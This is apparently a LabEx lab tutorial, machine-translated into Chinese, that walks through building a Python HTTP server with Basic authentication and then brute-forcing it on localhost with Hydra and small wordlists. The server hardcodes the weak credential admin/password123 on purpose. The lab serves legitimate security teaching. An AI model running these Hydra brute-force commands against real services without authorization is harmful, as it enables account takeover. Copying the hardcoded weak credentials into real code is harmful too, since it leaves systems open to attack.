使用 Hydra 攻击 HTTP 服务

HydraHydraBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

介绍

在这个实验(Lab)中,你将学习如何使用 Hydra(一款多功能的密码破解工具)对 HTTP 服务进行暴力破解攻击(brute-force attacks)。你将探索如何设置一个带有基本身份验证的 Python HTTP 服务器,并通过系统的凭据攻击来测试其安全性。

这个练习涵盖了创建密码字典(wordlists)、配置 Hydra 参数以及分析攻击结果,从而识别身份验证的弱点。这个实践环节演示了评估 Web 服务安全性以防御暴力破解尝试的关键技术。

安装本地 HTTP 服务器

在这一步中,你将使用 Python 的内置模块安装一个本地 HTTP 服务器。这个服务器将模拟一个带有基本身份验证的真实 Web 服务器,我们稍后将使用它作为 Hydra 暴力破解攻击的目标。在尝试测试 Web 服务器的安全性之前,了解 Web 服务器的工作原理至关重要。

Python 的 http.server 模块提供了一种快速创建基本 Web 服务器以进行测试的方法。虽然它不适合生产环境,但它非常适合我们的实验(lab),因为它演示了 HTTP 协议的基础知识,而无需复杂的设置。默认情况下,服务器将在 8000 端口上运行。

  1. 首先,导航到你的项目目录。这确保所有文件都组织在一个地方:
cd ~/project
  1. 为你的 Web 服务器文件创建一个专用目录。将 Web 内容分开有助于保持组织性:
mkdir http_server
cd http_server
  1. 创建一个简单的首页。当有人访问你的 Web 服务器时,将提供此 HTML 文件:
echo "<h1>Welcome to LabEx HTTP Server</h1>" > index.html
  1. 启动 Python HTTP 服务器。& 符号使其在后台运行,因此你可以继续使用终端:
python3 -m http.server 8000 &

如果你想继续使用终端,请按 Enter 键。

  1. 验证服务器是否正在运行。netstat 命令显示活动的网络连接和监听端口:
netstat -tulnp | grep 8000

你应该看到输出确认 Python 正在监听 8000 端口:

tcp    0    0 0.0.0.0:8000    0.0.0.0:*    LISTEN    1234/python3
  1. 测试服务器功能。curl 命令检索网页以确认一切正常:
curl http://localhost:8000

你应该收到你创建的 HTML 内容,证明服务器正在运行:

<h1>Welcome to LabEx HTTP Server</h1>
检查服务器

在基本 Web 服务器运行后,我们准备好在下一步中实现身份验证。这个基础至关重要,因为 Hydra 将与此服务器交互,就像它与使用基本身份验证的任何真实 Web 服务器一样。

配置带有基本身份验证的 HTTP 服务器

在这一步中,你将为你之前安装的 HTTP 服务器配置基本身份验证(basic authentication)。基本身份验证是一种简单的方法,客户端在每个请求中发送用户名和密码。这将创建一个安全层,我们稍后将尝试使用 Hydra 对其进行暴力破解,这表明了弱密码的危险性。

  1. 首先,确保你在正确的目录中,我们将在其中设置受保护的 Web 服务器:
cd ~/project/http_server
  1. 使用 htpasswd 实用程序创建密码文件。此工具随 apache2-utils 软件包(已安装在 LabEx VM 中)一起提供,并有助于管理基本身份验证的密码文件:
htpasswd -c .htpasswd admin

当提示时,输入 password123 作为密码。我们在这里故意使用弱密码,以演示简单密码是多么容易被破解。

  1. 现在,我们将创建一个 Python 脚本来提供带有基本身份验证的 HTTP 内容。此脚本将在允许访问之前检查凭据:
nano auth_server.py
  1. 粘贴以下 Python 代码。这将创建一个自定义 HTTP 服务器,该服务器:
    • 需要基本身份验证
    • 根据我们的 .htpasswd 文件验证凭据
    • 仅在成功验证后才提供内容
from http.server import HTTPServer, BaseHTTPRequestHandler
import base64

class AuthHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        auth_header = self.headers.get('Authorization')
        if not auth_header or not auth_header.startswith('Basic '):
            self.send_response(401)
            self.send_header('WWW-Authenticate', 'Basic realm="LabEx"')
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            self.wfile.write(b'Authentication required')
            return

        auth_decoded = base64.b64decode(auth_header[6:]).decode('utf-8')
        username, password = auth_decoded.split(':', 1)

        if username == 'admin' and password == 'password123':
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            with open('index.html', 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(401)
            self.send_header('WWW-Authenticate', 'Basic realm="LabEx"')
            self.end_headers()
            self.wfile.write(b'Authentication failed')

if __name__ == '__main__':
    server_address = ('', 8000)
    httpd = HTTPServer(server_address, AuthHandler)
    print("Server running on port 8000...")
    httpd.serve_forever()
  1. 保存文件(在 nano 中按 Ctrl+O,Enter,Ctrl+X)并停止之前没有身份验证的 HTTP 服务器:
pkill -f "python3 -m http.server"
  1. 在后台启动我们新的经过身份验证的 HTTP 服务器:
python3 auth_server.py &
  1. 让我们通过尝试在没有凭据的情况下访问服务器来测试身份验证:
curl -v http://localhost:8000

你应该收到 401 Unauthorized 响应,这意味着我们的身份验证正在工作。

  1. 现在尝试使用我们之前设置的正确凭据进行访问:
curl -v -u admin:password123 http://localhost:8000
检查身份验证

你现在应该看到来自你的 index.html 文件的 HTML 内容,证明身份验证工作正常。

该服务器现在已通过基本身份验证得到适当保护,并已准备好在后续步骤中进行暴力破解攻击演示。此设置模仿了 Web 服务器使用基本身份验证的真实场景,展示了它的工作原理及其潜在漏洞。

准备用户名和密码列表

在这一步中,你将创建 Hydra 将用于测试 HTTP 基本身份验证的可能用户名和密码组合的字典(wordlist)。这些列表构成了字典攻击的基础,在这种攻击中,我们系统地尝试常见的凭据,而不是随机猜测。

  1. 首先,导航到你的项目目录。这确保你的所有文件都组织在一个地方:
cd ~/project
  1. 为你的字典创建一个专用目录。将它们分开可以更轻松地管理:
mkdir wordlists
cd wordlists
  1. 使用 nano(一个简单的文本编辑器)创建一个用户名列表文件。我们将用常用的管理用户名填充它,这些用户名经常用作默认值:
nano usernames.txt

添加这些常用用户名(每行一个):

admin
root
user
test
guest
administrator
  1. 类似地,创建一个密码列表文件。这些是常用的或容易猜到的密码:
nano passwords.txt

添加这些常用密码(每行一个):

password123
password
123456
admin
letmein
qwerty
  1. 验证文件的内容,以确保它们已正确创建。cat 命令在终端中显示文件内容:
cat usernames.txt
cat passwords.txt
  1. (可选)使用 crunch(一个字典生成器)生成其他密码。此命令最多创建 100 个 4 位数字组合,这对于测试简单的数字密码很有用:
crunch 4 4 0123456789 | head -n 100 > numbers.txt
  1. 将你的密码列表合并到一个文件中。这为 Hydra 提供了更多在攻击期间测试的变体:
cat passwords.txt numbers.txt > combined_passwords.txt
  1. 验证合并后的密码列表。head 命令仅显示前 10 行,让你快速检查合并是否有效:
head combined_passwords.txt

你应该看到类似以下的输出:

password123
password
123456
admin
letmein
qwerty
0000
0001
0002
0003

这些字典包含我们之前配置的正确凭据(admin/password123)和许多不正确的组合。此设置真实地模拟了攻击者如何通过尝试许多可能的凭据来尝试暴力破解登录。在下一步中,我们将使用 Hydra 自动测试针对我们的 HTTP 服务器的这些组合。

对 HTTP 服务运行 Hydra 攻击

在这一步中,你将使用 Hydra 对你之前配置的 HTTP 基本身份验证服务执行暴力破解攻击。Hydra 是一个强大的密码破解工具,它系统地尝试来自字典的所有用户名/密码组合,以查找有效的凭据。这表明了为什么弱密码容易受到自动攻击。

  1. 首先,确保你的 HTTP 服务器仍在运行。此命令检查服务器进程是否存在,如果需要则重新启动它:
pgrep -fa "python3 auth_server.py" || cd ~/project/http_server && python3 auth_server.py &
  1. 导航到你的字典目录,你在其中存储了用户名和密码文件。这些文件包含 Hydra 将测试的组合:
cd ~/project/wordlists
  1. 运行带有此命令的 Hydra 以攻击 HTTP 服务。-L 标志指定用户名列表,-P 标志指定密码列表,http-get / 表示我们正在攻击基本的 HTTP GET 请求:
hydra -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get /
  1. 观察 Hydra 在尝试组合时的输出。成功后,你将看到显示哪些凭据有效的输出:
[DATA] attacking http-get://localhost:8000/
[8000][http-get] host: localhost   login: admin   password: password123
1 of 1 target successfully completed, 1 valid password found
  1. 要查看更详细的输出,包括 Hydra 进行的每次尝试,请添加 -v(verbose,详细)标志:
hydra -v -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get /
  1. (可选)将结果保存到文件中以供以后分析。-o 标志指定输出文件:
hydra -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get / -o hydra_results.txt
  1. 检查保存的结果文件以查看成功的凭据:
cat hydra_results.txt

攻击应该成功找到我们之前设置的凭据(admin/password123)。这表明通过自动暴力破解攻击可以多么快速地发现弱凭据,从而强调了强密码的重要性。

总结

在这个实验中,你已经学习了如何使用 Python 设置本地 HTTP 服务器,并为了安全测试目的而实现基本身份验证。该过程包括创建 Web 目录、使用 htpasswd 配置身份验证,以及使用像 curl 这样的常用工具验证服务器功能。

此外,你还获得了准备凭据列表和使用 Hydra 对 HTTP 服务执行暴力破解攻击的实践经验。这个练习证明了强密码的重要性,以及当使用弱凭据时,基本身份验证机制的漏洞。